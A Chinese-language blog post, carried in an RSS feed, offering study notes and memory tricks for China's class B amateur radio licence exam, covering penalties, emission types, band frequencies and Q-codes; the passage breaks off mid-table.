{"@attributes":{"version":"2.0"},"channel":{"title":"Les1ie","description":"\u884c\u767e\u91cc\u8005\u534a\u4e5d\u5341\u3002","link":"https:\/\/iansmith123.github.io\/","pubDate":"Tue, 20 Aug 2024 14:09:57 +0000","lastBuildDate":"Tue, 20 Aug 2024 14:09:57 +0000","generator":"Jekyll v3.10.0","item":[{"title":"\u4e1a\u4f59\u65e0\u7ebf\u7535B\u8bc1\u4e0d\u5b8c\u5168\u6307\u5357","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n<p>\u62ff\u5230A\u8bc1\u4e00\u5e74\u4e86\uff0c\u867d\u7136\u5e76\u6ca1\u6709\u901a\u8054\u591a\u5c11 :) \u4ee5\u524d\u8fd8\u5076\u5c14\u5728\u534f\u4f1a\u4e2d\u7ee7\u548c\u81ea\u7531\u65e0\u7ebf\u4e2d\u7ee7\u542c\u542c\u804a\u804a\uff0c\u540e\u6765\u534f\u4f1a\u4e2d\u7ee7\u4e0d\u77e5\u4e3a\u4f55\u6ca1\u4e86\uff0c\u81ea\u7531\u65e0\u7ebf\u4e5f\u6ca1\u4e86\uff0c\u4fbf\u5076\u5c14\u5728\u660c\u5e73\u4e2d\u7ee7\u4e0a\u542c\u542c\uff0c\u660c\u5e73\u4e2d\u7ee7\u7684\u8001\u54e5\u4eec\u8d3c\u80fd\u804a\uff0c\u90fd\u662f\u8001\u719f\u4eba\uff0c\u4e00\u4e2a\u6bd4\u4e00\u4e2a\u5ba2\u6c14 hhhhh<\/p>\n\n<p>\u6070\u5de7\u62a5\u4e0a\u4e86B\u8bc1\u7684\u8003\u8bd5\uff0c\u4e8e\u662f\u82b1\u4e86\u4e00\u5468\u65f6\u95f4\u62bd\u7a7a\u5b66\u4e60\uff0c\u901f\u901a\u4e86B\u8bc1\uff0cB\u8bc1\u76f8\u5bf9\u4e8eA\u8bc1\u7684\u7279\u70b9\u662f\u6dfb\u52a0\u4e86\u66f4\u591a\u7406\u8bba\u8ba1\u7b97\u548c\u4e00\u4e9b\u9700\u8981\u6b7b\u8bb0\u786c\u80cc\u7684\u77e5\u8bc6\u3002\u5728\u9884\u4e60\u8fc7\u7a0b\u4e2d\u5728\u7f51\u4e0a\u641c\u4e86\u5f88\u591a\u7406\u8bba\u77e5\u8bc6\u7684\u8ba1\u7b97\u65b9\u6cd5\uff0c\u4e5f\u53c2\u8003\u4e86\u5f88\u591a\u5927\u795e ham \u603b\u7ed3\u7684\u8003\u8bd5\u7ecf\u9a8c\uff0c\u8fd8\u6709 \u201cham\u6a21\u62df\u8003\u8bd5\u201d\u8fd9\u4e2a\u5fae\u4fe1\u5c0f\u7a0b\u5e8f\u7684\u5f88\u591a\u7f51\u53cb\u4eec\u8111\u6d1e\u5927\u5f00\u7684\u8bc4\u8bba\u3002\u5176\u4e2d\u4e00\u4e9b\u4fe1\u606f\u5e2e\u52a9\u6211\u7406\u89e3\u4e86\u9898\u76ee\uff0c\u4e5f\u6709\u4e00\u4e9b\u4fe1\u606f\u5927\u5927\u5927\u5927\u51cf\u5c11\u4e86\u6211\u7684\u8bb0\u5fc6\u91cf\uff0c\u5728\u6b64\u8868\u793a\u611f\u8c22\u3002<\/p>\n\n<p>\u4eca\u5929\u4e2d\u5348\u521a\u8003\u5b8c\u8bd5\uff0c\u611f\u89c9\u826f\u597d\uff0c\u6240\u4ee5\u8d81\u7740\u6211\u8fd8\u6ca1\u5fd8\u5149\uff0c\u6211\u4e5f\u5199\u5199\u7b14\u8bb0\uff0c\u4e00\u6765\u662f\u81ea\u5df1\u5907\u5fd8\uff0c\u4e8c\u6765\u662f\u968f\u7f18\u5e2e\u52a9\u90a3\u4e9b\u9700\u8981\u51c6\u5907B\u8bc1\u7684 ham\u3002<\/p>\n\n<p>\u9898\u5e93\u5728\u5317\u4eac\u4e1a\u4f59\u65e0\u7ebf\u7535\u534f\u4f1a\u53ef\u4ee5\u4e0b\u8f7d\u5230\uff0c\u4e0b\u8f7d\u94fe\u63a5\u662f <a href=\"http:\/\/bjwxdxh.org.cn\/news\/html\/?1001.html\">v20211022<\/a>\u3002\u5f3a\u70c8\u5efa\u8bae\u6253\u5370\u8fd9\u4e2a\u6574\u7406\u597d\u7684<a href=\"https:\/\/exam.ham.upall.cn\/?t=b\">\u5728\u7ebf\u7248\u672c<\/a>\uff0c\u6253\u5370\u51fa\u6765\u88c5\u8ba2\u6210\u518c\u65b9\u4fbf\u505a\u7b14\u8bb0\u3002B\u7c7b\u7684\u5f88\u591a\u9898\u76ee\u5728\u53cd\u590d\u8003\u4e00\u4e2a\u77e5\u8bc6\u70b9\uff0c\u505a\u7b14\u8bb0\u80fd\u591f\u63d0\u9ad8\u6548\u7387\uff0c\u5728\u624b\u673a\u4e0a\u5237\u9898\u4e0d\u65b9\u4fbf\u603b\u7ed3\u3002<\/p>\n\n<p>\u6211\u4e0d\u4f1a\u628a\u6240\u6709\u7684\u9898\u76ee\u90fd\u5217\u4e00\u904d\uff0c\u5de5\u4f5c\u91cf\u592a\u5927\u4e86\uff0c\u5efa\u8bae\u53c2\u8003\u8fd9\u51e0\u4f4d ham \u603b\u7ed3\u7684\u5185\u5bb9\u3002<\/p>\n<ul>\n  <li>https:\/\/zgc261.com\/post\/20220856.html<\/li>\n  <li>https:\/\/bokjan.com\/2022\/05\/crac-ar-license-exam-b-class-review.html<\/li>\n  <li>https:\/\/zhuanlan.zhihu.com\/p\/663985104<\/li>\n  <li>https:\/\/www.zhihu.com\/tardis\/zm\/art\/290652855?source_id=1003<\/li>\n  <li>https:\/\/www.jimmytian.com\/archives\/crac-aro-licence-b-review-guide.html<\/li>\n<\/ul>\n\n<h1 id=\"\u4e00\u4e9b\u9898\u76ee\u7684\u6d89\u53ca\u77e5\u8bc6\u548c\u505a\u9898\u6280\u5de7\">\u4e00\u4e9b\u9898\u76ee\u7684\u6d89\u53ca\u77e5\u8bc6\u548c\u505a\u9898\u6280\u5de7<\/h1>\n<p>\u8fd9\u91cc\u6211\u5199\u4e00\u4e9b\u6211\u5bf9\u9898\u76ee\u7684\u7406\u89e3\uff0c\u53ef\u80fd\u5b58\u5728\u8c2c\u8bef\uff0c\u6b22\u8fce\u6307\u6b63\u3002<\/p>\n\n<h2 id=\"\u6d89\u53ca\u4e1a\u4f59\u65e0\u7ebf\u7535\u8fdd\u6cd5\u7684\u76f8\u5173\u5904\u7f5a\">\u6d89\u53ca\u4e1a\u4f59\u65e0\u7ebf\u7535\u8fdd\u6cd5\u7684\u76f8\u5173\u5904\u7f5a<\/h2>\n<p>A\u8bc1\u91cc\u9762\u4e5f\u6709\u8fd9\u4e2a\u9898\u76ee\uff0c\u6280\u5de7\u5f88\u7b80\u5355\uff0c\u53ea\u8981\u662f\u6d89\u53ca\u5230\u5904\u7f5a\u76f8\u5173\u7684\uff0c\u5305\u62ec\u9898\u76ee LK0094-LK0104 \u4ee5\u53ca\u9898\u76eeLK0110\uff0c\u4e00\u5f8b\u9009\u5904\u7f5a\u6700\u4e25\u683c\u7684\u9879\u76ee\uff0c\u6700\u8f7b\u7684\u662f\u62c6\u9664\u8b66\u544a\u6ca1\u6536\uff0c\u5176\u6b21\u662f\u7f5a\u6b3e\uff0c\u6700\u4e25\u5389\u7684\u662f\u5211\u4e8b\u5904\u7f5a\u3002<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n<\/pre><\/td><td class=\"rouge-code\"><pre>0079. \u4e1a\u4f59\u7535\u53f0\u968f\u610f\u53d8\u66f4\u6838\u5b9a\u9879\u76ee\u3001\u53d1\u9001\u548c\u63a5\u6536\u4e0e\u4e1a\u4f59\u65e0\u7ebf\u7535\u65e0\u5173\u7684\u4fe1\u53f7\u7684\uff0c\u56fd\u5bb6\u65e0\u7ebf\u7535\u7ba1\u7406\u673a\u6784\u6216\u8005\u5730\u65b9\u65e0\u7ebf\u7535\u7ba1\u7406\u673a\u6784\u53ef\u4ee5\u6839\u636e\u5176\u5177\u4f53\u60c5\u51b5\u7ed9\u4e88\u8bbe\u7f6e\u4e1a\u4f59\u65e0\u7ebf\u7535\u53f0\u7684\u5355\u4f4d\u6216\u4e2a\u4eba\u4e0b\u5217\u5904\u7f5a\uff1a [LK0096]\n\n1. \u8b66\u544a\u3001\u67e5\u5c01\u6216\u8005\u6ca1\u6536\u8bbe\u5907\u3001\u6ca1\u6536\u975e\u6cd5\u6240\u5f97\uff1b\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u53ef\u4ee5\u5e76\u5904\u4e00\u5343\u5143\u4ee5\u4e0a\uff0c\u4e94\u5343\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n2. \u529d\u544a\u62c6\u9664\u975e\u6cd5\u8bbe\u7f6e\u7684\u7535\u53f0\uff1b\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u53ef\u4ee5\u5e76\u5904\u8b66\u544a\u3001\u67e5\u5c01\u6216\u8005\u6ca1\u6536\u8bbe\u5907\n3. \u8d23\u4ee4\u505c\u6b62\u4f7f\u7528\u975e\u6cd5\u8bbe\u7f6e\u7684\u7535\u53f0\uff1b\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u53ef\u4ee5\u5e76\u5904\u8b66\u544a\u3001\u67e5\u5c01\u6216\u8005\u6ca1\u6536\u8bbe\u5907\n4. \u8d23\u4ee4\u505c\u6b62\u4f7f\u7528\u975e\u6cd5\u8bbe\u7f6e\u7684\u7535\u53f0\u5e76\u4f5c\u51fa\u4e66\u9762\u68c0\u67e5\uff1b\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u53ef\u4ee5\u5e76\u5904\u4e00\u5343\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n\n0080. \u8d85\u51fa\u6838\u5b9a\u8303\u56f4\u4f7f\u7528\u9891\u7387\u6216\u8005\u6709\u5176\u4ed6\u8fdd\u53cd\u9891\u7387\u7ba1\u7406\u6709\u5173\u89c4\u5b9a\u7684\u884c\u4e3a\u7684\uff0c\u65e0\u7ebf\u7535\u7ba1\u7406\u673a\u6784\u53ef\u4ee5\u6839\u636e\u5176\u5177\u4f53\u60c5\u51b5\u7ed9\u4e88\u8bbe\u7f6e\u4e1a\u4f59\u65e0\u7ebf\u7535\u53f0\u7684\u5355\u4f4d\u6216\u4e2a\u4eba\u4e0b\u5217\u5904\u7f5a\uff1a [LK0097]\n\n1. \u8d23\u4ee4\u9650\u671f\u6539\u6b63\uff0c\u53ef\u4ee5\u5904\u8b66\u544a\u6216\u8005\u4e09\u4e07\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n2. \u8d23\u4ee4\u9650\u671f\u6539\u6b63\uff0c\u53ef\u4ee5\u5904\u8b66\u544a\u6216\u8005\u4e00\u5343\u5143\u4ee5\u4e0a\uff0c\u4e94\u5343\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n3. \u8d23\u4ee4\u9650\u671f\u6539\u6b63\uff0c\u53ef\u4ee5\u5904\u8b66\u544a\u6216\u8005\u4e00\u5343\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n4. \u8d23\u4ee4\u9650\u671f\u6539\u6b63\uff0c\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u53ef\u4ee5\u5e76\u5904\u8b66\u544a\u3001\u67e5\u5c01\u6216\u8005\u6ca1\u6536\u8bbe\u5907\n\n0093. \u4e1a\u4f59\u7535\u53f0\u8fdd\u53cd\u65e0\u7ebf\u7535\u7ba1\u5236\u547d\u4ee4\u548c\u65e0\u7ebf\u7535\u7ba1\u5236\u6307\u4ee4\u7684\uff0c\u53ef\u4ee5\u4f9d\u6cd5\u89c4\u53d7\u5230\u4e0b\u5217\u5904\u7f5a\uff1a [LK0110]\n\n1. \u8d23\u4ee4\u6539\u6b63\uff1b\u62d2\u4e0d\u6539\u6b63\u7684\uff0c\u5173\u95ed\u3001\u67e5\u5c01\u3001\u6682\u6263\u6216\u8005\u62c6\u9664\u76f8\u5173\u8bbe\u5907\uff1b\u60c5\u8282\u4e25\u91cd\u7684\uff0c\u540a\u9500\u7535\u53f0\u6267\u7167\uff1b\u8fdd\u53cd\u6cbb\u5b89\u7ba1\u7406\u89c4\u5b9a\u7684\uff0c\u7531\u516c\u5b89\u673a\u5173\u5904\u7f5a\n2. \u5904\u8b66\u544a\u6216\u8005\u4e09\u4e07\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n3. \u5904\u8b66\u544a\u6216\u8005\u4e00\u5343\u5143\u4ee5\u4e0a\uff0c\u4e94\u5343\u5143\u4ee5\u4e0b\u7684\u7f5a\u6b3e\n4. \u8d23\u4ee4\u6539\u6b63\uff1b\u5e76\u5f00\u9664\u4e1a\u4f59\u65e0\u7ebf\u7535\u534f\u4f1a\u4f1a\u7c4d\u3001\u7f5a\u6ca1\u65e0\u7ebf\u7535\u901a\u4fe1\u8bbe\u5907\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h2 id=\"\u53d1\u5c04\u7c7b\u522b\u548c\u4fe1\u53f7\u8c03\u5236\">\u53d1\u5c04\u7c7b\u522b\u548c\u4fe1\u53f7\u8c03\u5236<\/h2>\n<p>\u8fd9\u4e2a\u8bb0\u4f4f\u4e0b\u8868\u5373\u53ef<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u8c03\u5236\u7c7b\u578b<\/th>\n      <th>\u8c03\u5236\u4fe1\u53f7<\/th>\n      <th>\u4fe1\u606f\u7c7b\u578b<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>A \u53cc\u8fb9\u5e26\u8c03\u5e45<\/td>\n      <td>1 \u5355\u901a\u9053\u6570\u5b57<\/td>\n      <td>A \u7535\u62a5-\u4eba\u5de5<\/td>\n    <\/tr>\n    <tr>\n      <td>F \u8c03\u9891<\/td>\n      <td>2 \u5355\u901a\u9053\u6570\u5b57-\u526f\u8f7d\u6ce2<\/td>\n      <td>B \u7535\u62a5-\u81ea\u52a8<\/td>\n    <\/tr>\n    <tr>\n      <td>G \u8c03\u76f8<\/td>\n      <td>3 \u5355\u901a\u9053\u6a21\u62df<\/td>\n      <td>E \u8bdd\u97f3<\/td>\n    <\/tr>\n    <tr>\n      <td>J \u5355\u8fb9\u5e26\u6291\u5236\u8f7d\u6ce2<\/td>\n      <td>\u00a0<\/td>\n      <td>\u00a0<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u6240\u4ee5\u8fd9\u91ccCW\u7535\u62a5\u662f A1A\n\u5355\u8fb9\u5e26\u8bdd\u662fJ3E\uff0c\u4e8b\u5b9e\u4e0a\u9898\u76eeLK0128\u8be2\u95ee\u7684\u5355\u8fb9\u5e26\u8bdd\u97f3\u8fd9\u91cc\u53ea\u6709\u8fd9\u4e00\u4e2a E\u7684\u9009\u9879\uff0c\u76f4\u63a5\u9009\u51fa\u7b54\u6848\n\u5355\u8868\u5e26\u8bdd\u4f20\u8f93\u7684RTTY\u662fF2B\uff0c\u56e0\u4e3a\u4ed6\u662f\u8c03\u9891\u7684\u81ea\u52a8\u7535\u62a5\nPSK31\u662f P \u662f Phase\uff0c\u8c03\u76f8\uff0c\u9009\u62e9G \u5f00\u5934\u7684\n\u8c03\u9891\u8bdd\u5c31 Freq\uff0c\u6240\u4ee5 F3E<\/p>\n\n<h2 id=\"\u77ed\u6ce2\u5404\u6bb5\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387\">\u77ed\u6ce2\u5404\u6bb5\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387<\/h2>\n<p>\u9898\u76ee LK0164-LK0170 \u6d89\u53ca\u7684\u6570\u5b57\u6781\u591a\uff0c\u96be\u4ee5\u8bb0\u5fc6\u3002\u6700\u521d\u6211\u662f\u51c6\u5907\u653e\u5f03\u8fd9\u4e2a\u9898\u76ee\u7684\uff0c\u4f46\u662f\u51d1\u5de7\u5728 ham \u6a21\u62df\u8003\u8bd5\u7684\u5c0f\u7a0b\u5e8f\u4e2d\u770b\u5230\u4e86\u4e00\u4e2a\u901a\u7528\u7684\u89e3\u51b3\u65b9\u6848\uff1a\u201c\u5b9e\u9645\u5360\u7528\u5f00\u5934\u9009\u6700\u5927\uff0c\u4e00\u6837\u9009\u6700\u957f\u201d\u3002\u77ac\u95f4\u89e3\u51b3\u4e86\u4e00\u4e2a\u786c\u9aa8\u5934\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n<\/pre><\/td><td class=\"rouge-code\"><pre>0131. \u6211\u56fd\u77ed\u6ce2\u4e1a\u4f59\u7535\u53f0\u57287MHz\u9891\u6bb5\u8fdb\u884cLSB\u901a\u8bdd\u65f6\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387\u4e3a\uff1a [LK0164]\n\n1. 7.030-7.200MHz\n2. 7.000-7.100MHz\n3. 7.023-7.200MHz\n4. 7.000-7.200MHz\n\n0132. \u77ed\u6ce2\u4e1a\u4f59\u7535\u53f0\u572814MHz\u9891\u6bb5\u8fdb\u884cUSB\u901a\u8bdd\u65f6\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387\u4e3a\uff1a [LK0165]\n\n1. 14.100-14.350MHz\n2. 14.030-14.350MHz\n3. 14.000-14.250MHz\n4. 14.070-14.250MHz\n\n0133. \u77ed\u6ce2\u4e1a\u4f59\u7535\u53f0\u572818MHz\u9891\u6bb5\u8fdb\u884cUSB\u901a\u8bdd\u65f6\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387\u4e3a\uff1a [LK0166]\n\n1. 18.1105-18.168MHz\n2. 18.110-18.170MHz\n3. 18.068-18.186MHz\n4. 18.1005-18.180MHz\n\n0134. \u77ed\u6ce2\u4e1a\u4f59\u7535\u53f0\u572821MHz\u9891\u6bb5\u8fdb\u884cUSB\u901a\u8bdd\u65f6\u53ef\u4ee5\u5b9e\u9645\u5360\u7528\u7684\u9891\u7387\u4e3a\uff1a [LK0167]\n\n1. 21.125-21.45MHz\uff0c\u9664\u53bb21.1495-21.1505\n2. 21.125-21.45MHz\n3. 21-21.45MHz\n4. 21-21.35MHz\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h2 id=\"\u4fd7\u79f0\u5f00\u5934\u7684\u6ce2\u6bb5\u548c\u4e1a\u52a1\u4f7f\u7528\u72b6\u6001\">\u4fd7\u79f0\u5f00\u5934\u7684\u6ce2\u6bb5\u548c\u4e1a\u52a1\u4f7f\u7528\u72b6\u6001<\/h2>\n<p>\u8fd9\u4e2a\u53ea\u80fd\u786c\u8bb0\u4e86\uff0c\u96be\u641e\n40\u7c73\u9009 7.0-7.2 \u5f00\u5934\u7684\n160\u7c73\u9009 1800-2000, 2x8=16 \u8f85\u52a9\u8bb0\u5fc6\n80\u7c73\u9009 3.5-3.9 \u4e3b\u8981\n20\u7c73\u9009 14-14.25\n15\u7c73\u548c10\u7c73\uff0c\u9009\u5c3e\u6570\u548c\u5176\u4ed6\u9009\u9879\u76f8\u540c\u7684\u4e13\u7528\n6\u7c732\u7c73\u9009\u4e3b\u8981\n0.7\u7c73\u9009\u6b21\u8981<\/p>\n\n<h2 id=\"\u6ce2\u957f\u548c\u9891\u7387\">\u6ce2\u957f\u548c\u9891\u7387<\/h2>\n<p>\u9898\u76ee\u8003\u4e86\u4e0d\u5c11\u5173\u4e8e\u6ce2\u957f\u548c\u9891\u7387\u7684\u77e5\u8bc6\uff0c\u8bb0\u4f4f\u9ad8\u9891 HF \u662f High Frequence \u7684\u7f29\u5199\uff0c\u8003\u4e86B\u8bc1\u53ef\u4ee5\u73a9\u77ed\u6ce2\u8fd9\u4e2a\u57fa\u672c\u4e8b\u5b9e\uff0c\u5373\u53ef\u63a8\u51fa\u6240\u6709\u7684\u9891\u6bb5\u548c\u6ce2\u957f\u4e86\u3002\u9891\u7387\u6309\u716710\u500d\u9012\u589e\uff0c\u6ce2\u957f\u6309\u716710\u500d\u9012\u51cf\u3002\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u9898\u76ee\u91cc\u9762\u7684\u540d\u79f0\u548c\u6ce2\u957f\u5bf9\u5e94\u5173\u7cfb\u90fd\u662f\u6b63\u786e\u7684\uff0c\u6240\u4ee5\u8bb0\u4f4f\u4e86\u9891\u6bb5\u540d\u79f0\u6216\u8005\u6ce2\u957f\u90fd\u80fd\u505a\u9898\u3002<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u9891\u7387<\/th>\n      <th>\u7f29\u5199<\/th>\n      <th>\u542b\u4e49<\/th>\n      <th>\u9891\u6bb5\u540d\u79f0<\/th>\n      <th>\u6ce2\u957f<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>30k-300k<\/td>\n      <td>LF<\/td>\n      <td>Low Freq<\/td>\n      <td>\u4f4e\u9891<\/td>\n      <td>\u957f\u6ce2<\/td>\n    <\/tr>\n    <tr>\n      <td>300k-3000k<\/td>\n      <td>MF<\/td>\n      <td>Mean Freq<\/td>\n      <td>\u4e2d\u9891<\/td>\n      <td>\u4e2d\u6ce2<\/td>\n    <\/tr>\n    <tr>\n      <td><strong>3M-30M<\/strong><\/td>\n      <td><strong>HF<\/strong><\/td>\n      <td><strong>High Freq<\/strong><\/td>\n      <td><strong>\u9ad8\u9891<\/strong><\/td>\n      <td><strong>\u77ed\u6ce2<\/strong><\/td>\n    <\/tr>\n    <tr>\n      <td>30M-300M<\/td>\n      <td>VHF<\/td>\n      <td>Very High Freq<\/td>\n      <td>\u751a\u9ad8\u9891<\/td>\n      <td>\u7c73\u6ce2<\/td>\n    <\/tr>\n    <tr>\n      <td>300M-3000M<\/td>\n      <td>UHF<\/td>\n      <td>Ultra High Freq<\/td>\n      <td>\u7279\u9ad8\u9891<\/td>\n      <td>\u5206\u7c73\u6ce2<\/td>\n    <\/tr>\n    <tr>\n      <td>3G-30G<\/td>\n      <td>SHF<\/td>\n      <td>Super High Freq<\/td>\n      <td>\u8d85\u9ad8\u9891<\/td>\n      <td>\u5398\u7c73\u6ce2<\/td>\n    <\/tr>\n    <tr>\n      <td>30G-300G<\/td>\n      <td>EHF<\/td>\n      <td>Extremely High Freq<\/td>\n      <td>\u6781\u9ad8\u9891<\/td>\n      <td>\u6beb\u7c73\u6ce2<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<h2 id=\"q\u7b80\u8bed\u548c\u5355\u8bcd\u7f29\u5199\">Q\u7b80\u8bed\u548c\u5355\u8bcd\u7f29\u5199<\/h2>\n<p>Q\u7b80\u8bed\u5f88\u591a\uff0c\u90e8\u5206\u7406\u89e3\u8bb0\u5fc6\u548c\u8054\u60f3\u8bb0\u5fc6\uff0c\u5c11\u90e8\u5206\u53ea\u80fd\u786c\u8bb0\u3002\u7406\u89e3\u548c\u8054\u60f3\u57fa\u672c\u80fd\u591f\u8986\u76d6\u5927\u90e8\u5206\u5e38\u7528\u7684\u5185\u5bb9\u3002\u8003\u8bd5\u6d89\u53ca\u7684\u5927\u90e8\u5206\u662fQR\u5f00\u5934\u7684\uff0cQS\u5f00\u5934\u7684\u8f83\u5c11\u3002\u8fd9\u91cc\u53ea\u63d0\u5230\u8003\u8bd5\u9700\u8981\u9009\u62e9\u7684\u9009\u9879\uff0c\u9519\u8bef\u9009\u9879\u7684\u4e0d\u5199\u3002<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>Q\u7b80\u8bed<\/th>\n      <th>\u8054\u60f3\u8bb0\u5fc6<\/th>\n      <th>\u542b\u4e49<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>QRL<\/td>\n      <td>\u00a0<\/td>\n      <td>\u6709\u4eba\u4f7f\u7528\u8fd9\u4e2a\u9891\u7387\u4e48<\/td>\n    <\/tr>\n    <tr>\n      <td>QRM<\/td>\n      <td>QR(Man)<\/td>\n      <td>\u6709\u5176\u4ed6\u4eba\/\u5176\u4ed6\u53f0\u5e72\u6270<\/td>\n    <\/tr>\n    <tr>\n      <td>QRN<\/td>\n      <td>QR(Nature)<\/td>\n      <td>\u5929\u7535\u5e72\u6270<\/td>\n    <\/tr>\n    <tr>\n      <td>QRO<\/td>\n      <td>QRP\u76f8\u90bb\uff0c\u4f46\u662f\u76f8\u53cd<\/td>\n      <td>\u589e\u52a0\u529f\u7387<\/td>\n    <\/tr>\n    <tr>\n      <td>QRP<\/td>\n      <td>QRP\u662f\u4e00\u79cd\u5c0f\u529f\u7387\u73a9\u6cd5<\/td>\n      <td>\u51cf\u5c0f\u529f\u7387<\/td>\n    <\/tr>\n    <tr>\n      <td>QRQ<\/td>\n      <td>QR(Quick)<\/td>\n      <td>\u52a0\u901f\u53d1\u9001<\/td>\n    <\/tr>\n    <tr>\n      <td>QRS<\/td>\n      <td>QR(Slow)<\/td>\n      <td>\u51cf\u901f\u53d1\u9001<\/td>\n    <\/tr>\n    <tr>\n      <td>QRT<\/td>\n      <td>QR(sTop)<\/td>\n      <td>\u505c\u6b62\u53d1\u9001<\/td>\n    <\/tr>\n    <tr>\n      <td>QRU<\/td>\n      <td>QR(U\u4e8b\uff0c\u6709\u4e8b\uff1f)<\/td>\n      <td>\u627e\u6211\u6709\u4e8b<\/td>\n    <\/tr>\n    <tr>\n      <td>QRV<\/td>\n      <td>QR(V\uff0c\u80dc\u5229\u7684v,\u8868\u793a\u51c6\u5907\u597d)<\/td>\n      <td>\u51c6\u5907\u597d\u4e86<\/td>\n    <\/tr>\n    <tr>\n      <td>QRZ<\/td>\n      <td>\u00a0<\/td>\n      <td>\u8c01\u5728\u547c\u53eb<\/td>\n    <\/tr>\n    <tr>\n      <td>QSA<\/td>\n      <td>\u00a0<\/td>\n      <td>\u4fe1\u53f7\u5f3a\u5ea6<\/td>\n    <\/tr>\n    <tr>\n      <td>QSB<\/td>\n      <td>QS(Behind)<\/td>\n      <td>\u4fe1\u53f7\u8870\u843d\uff08\u8bb0\u5fc6\u4e3a\u843d\u540e\uff09<\/td>\n    <\/tr>\n    <tr>\n      <td>QSD<\/td>\n      <td>\u00a0<\/td>\n      <td>\u53d1\u4fe1\u624b\u6cd5\u6709\u6bdb\u75c5<\/td>\n    <\/tr>\n    <tr>\n      <td>QSL<\/td>\n      <td>QSL\u5361\u7247<\/td>\n      <td>QSL\u5361\u7247\uff0c\u6536\u59a5<\/td>\n    <\/tr>\n    <tr>\n      <td>QSO<\/td>\n      <td>eyeball QSO\uff0c\u773c\u775b\u901a\u8054\u4e5f\u662f\u4e00\u79cd<\/td>\n      <td>\u548cxxx\u901a\u4fe1<\/td>\n    <\/tr>\n    <tr>\n      <td>QSP<\/td>\n      <td>QS(Post)<\/td>\n      <td>\u53d1\u4fe1\u4e2d\u8f6c<\/td>\n    <\/tr>\n    <tr>\n      <td>QSX<\/td>\n      <td>\u00a0<\/td>\n      <td>\u5c06\u5728xxx\u9891\u6bb5\u5b88\u542c<\/td>\n    <\/tr>\n    <tr>\n      <td>QSY<\/td>\n      <td>\u548cQSX\u8054\u5408\u8bb0\u5fc6\uff0cx\u4e3b\u52a8\u6536\u542c\uff0cy\u8ba9\u522b\u4eba\u6539\u9891<\/td>\n      <td>\u6539\u9891\u6bb5\u5230 xxx<\/td>\n    <\/tr>\n    <tr>\n      <td>QTH<\/td>\n      <td>QT(There)<\/td>\n      <td>\u4f4d\u7f6e<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u5355\u8bcd\u7f29\u5199\u7684\u9898\u76ee\uff0c\u81ea\u884c\u67e5\u8be2\u8bcd\u5178\u548c\u4e0a\u7f51\u68c0\u7d22\u5373\u53ef\uff0c\u6211\u53ea\u5199\u51e0\u4e2a\u5e38\u89c1\u7684<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u7f29\u5199<\/th>\n      <th>\u7f29\u5199\u524d<\/th>\n      <th>\u542b\u4e49<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>ATT<\/td>\n      <td>attenuator<\/td>\n      <td>\u8870\u51cf\u3001\u8870\u51cf\u5668<\/td>\n    <\/tr>\n    <tr>\n      <td>GA<\/td>\n      <td>Go Ahead\/ Good Afternoon<\/td>\n      <td>\u7ee7\u7eed\u3001\u8bf7\u8fc7\u6765\u3001\u4e0b\u5348\u597d<\/td>\n    <\/tr>\n    <tr>\n      <td>HST<\/td>\n      <td>High Speed Telegraph<\/td>\n      <td>\u5feb\u901f\u6536\u53d1\u62a5<\/td>\n    <\/tr>\n    <tr>\n      <td>ANT<\/td>\n      <td>Antenna<\/td>\n      <td>\u5929\u7ebf<\/td>\n    <\/tr>\n    <tr>\n      <td>BK<\/td>\n      <td>Break in<\/td>\n      <td>\u6253\u65ad\u3001\u63d2\u5165<\/td>\n    <\/tr>\n    <tr>\n      <td>ES<\/td>\n      <td>ampersand<\/td>\n      <td>&amp; \u548c<\/td>\n    <\/tr>\n    <tr>\n      <td>FB<\/td>\n      <td>fabulous<\/td>\n      <td>\u6781\u597d<\/td>\n    <\/tr>\n    <tr>\n      <td>MTRS<\/td>\n      